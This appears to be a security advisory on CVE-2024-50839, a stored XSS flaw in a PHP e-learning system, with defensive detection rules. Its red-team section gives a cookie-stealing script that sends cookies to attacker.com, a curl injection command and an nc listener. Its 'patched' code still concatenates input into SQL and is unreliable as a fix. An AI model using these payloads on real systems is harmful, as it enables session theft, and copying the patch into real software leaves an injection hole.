CVE-2024-50839

Executive Summary

CVE-2024-50839 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kashipara E-learning Management System Project 1.0. The flaw resides in /admin/add_subject.php, where the subject_code and title parameters are not properly sanitized before being stored and later rendered in the application. An attacker with administrative access (or any user able to reach the admin panel) can inject arbitrary JavaScript, which will execute in the browsers of other users viewing the affected pages. This can lead to session hijacking, credential theft, defacement, or further compromise of the platform.

No official patch has been released by the vendor. The vulnerability is publicly documented, and proof-of-concept code is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for unpatched instances.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (admin panel access required)
• User Interaction (UI): None (stored XSS triggers automatically)
• Scope (S): Changed (attacker can affect other users)
• Confidentiality (C): Low (data exfiltration possible)
• Integrity (I): Low (content injection)
• Availability (A): None

Threat Level: Medium (due to admin privilege requirement, but high impact if exploited).

Deep Dive & Mechanics

The vulnerability exists in the add_subject.php script, which is part of the admin panel. The script accepts POST parameters subject_code and title and stores them in the database without proper sanitization or output encoding. When the stored data is later rendered in the application (e.g., in subject listing pages), the injected script executes in the context of the victim's browser.

Root Cause: Lack of input validation and output encoding. The application does not use htmlspecialchars() or similar functions to neutralize HTML/JavaScript before storage or display.

Attack Flow:

1. Attacker logs in as an admin (or gains access to the admin panel).
2. Attacker navigates to /admin/add_subject.php.
3. Attacker submits a new subject with subject_code or title containing malicious JavaScript, e.g., <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. When any user (including other admins) views the subject list, the script executes.

Impact: Full XSS exploitation allows session cookie theft, redirection to phishing pages, keylogging, or defacement.

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System 1.0):

// /admin/add_subject.php (simplified)
$subject_code = $_POST['subject_code'];
$title = $_POST['title'];
$query = "INSERT INTO subjects (subject_code, title) VALUES ('$subject_code', '$title')";
mysqli_query($conn, $query);
// Later, when displaying:
echo "<td>$subject_code</td>";
echo "<td>$title</td>";

Patched Code (Recommended):

// Sanitize input and encode output
$subject_code = htmlspecialchars($_POST['subject_code'], ENT_QUOTES, 'UTF-8');
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO subjects (subject_code, title) VALUES ('$subject_code', '$title')";
mysqli_query($conn, $query);
// When displaying:
echo "<td>" . htmlspecialchars($subject_code, ENT_QUOTES, 'UTF-8') . "</td>";
echo "<td>" . htmlspecialchars($title, ENT_QUOTES, 'UTF-8') . "</td>";

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites: Access to the admin panel of a vulnerable Kashipara E-learning Management System 1.0 instance.

Step 1: Craft Payload Use a simple JavaScript payload to demonstrate XSS:

<script>alert('XSS')</script>

Or a more advanced payload to steal cookies:

<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>

Step 2: Inject via POST Request Using curl:

curl -X POST http://target.com/admin/add_subject.php \
  -d "subject_code=<script>alert('XSS')</script>&title=TestSubject"

Step 3: Trigger Execution Navigate to the subject listing page (e.g., /admin/view_subjects.php). The script executes.

Step 4: Exfiltrate Data Set up a listener on attacker machine:

nc -lvnp 80

Then use a payload that sends cookies to the listener.

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /admin/add_subject.php for suspicious parameters containing <script>, onerror, onload, etc.
• Use WAF rules to block common XSS patterns.
• Review server logs for unusual subject_code or title values.

Prevention:

• Apply input validation and output encoding as shown in the patched code.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Restrict admin panel access to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /admin/add_subject.php with parameters containing <script> tags.
  • Outbound connections to unknown IPs on port 80/443 from the web server.
• File IOCs:
  • Modified database entries in the subjects table containing JavaScript.
• Log IOCs:
  • Server access logs showing subject_code or title with HTML/JavaScript content.

Detection Engineering

YARA Rule

rule CVE_2024_50839_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Kashipara E-learning Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50839"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Kashipara E-learning Management System
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via subject_code or title parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin/add_subject.php'
        cs-uri-query|contains: 
            - 'subject_code='
            - 'title='
    filter:
        cs-uri-query|re: '(?i)<script|onerror|onload|javascript:'
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in subject names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50839 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/admin/add_subject.php"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable admin panel access from the internet (use VPN or IP whitelisting).
2. Apply input validation and output encoding to all user-supplied data in add_subject.php and similar scripts.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.

Long-Term Fix:

• Upgrade to a patched version of the software (if available) or migrate to a supported e-learning platform.
• Conduct a full security audit of the application.

Workaround:

• Manually edit add_subject.php to use htmlspecialchars() as shown in the patched code.

Valters IT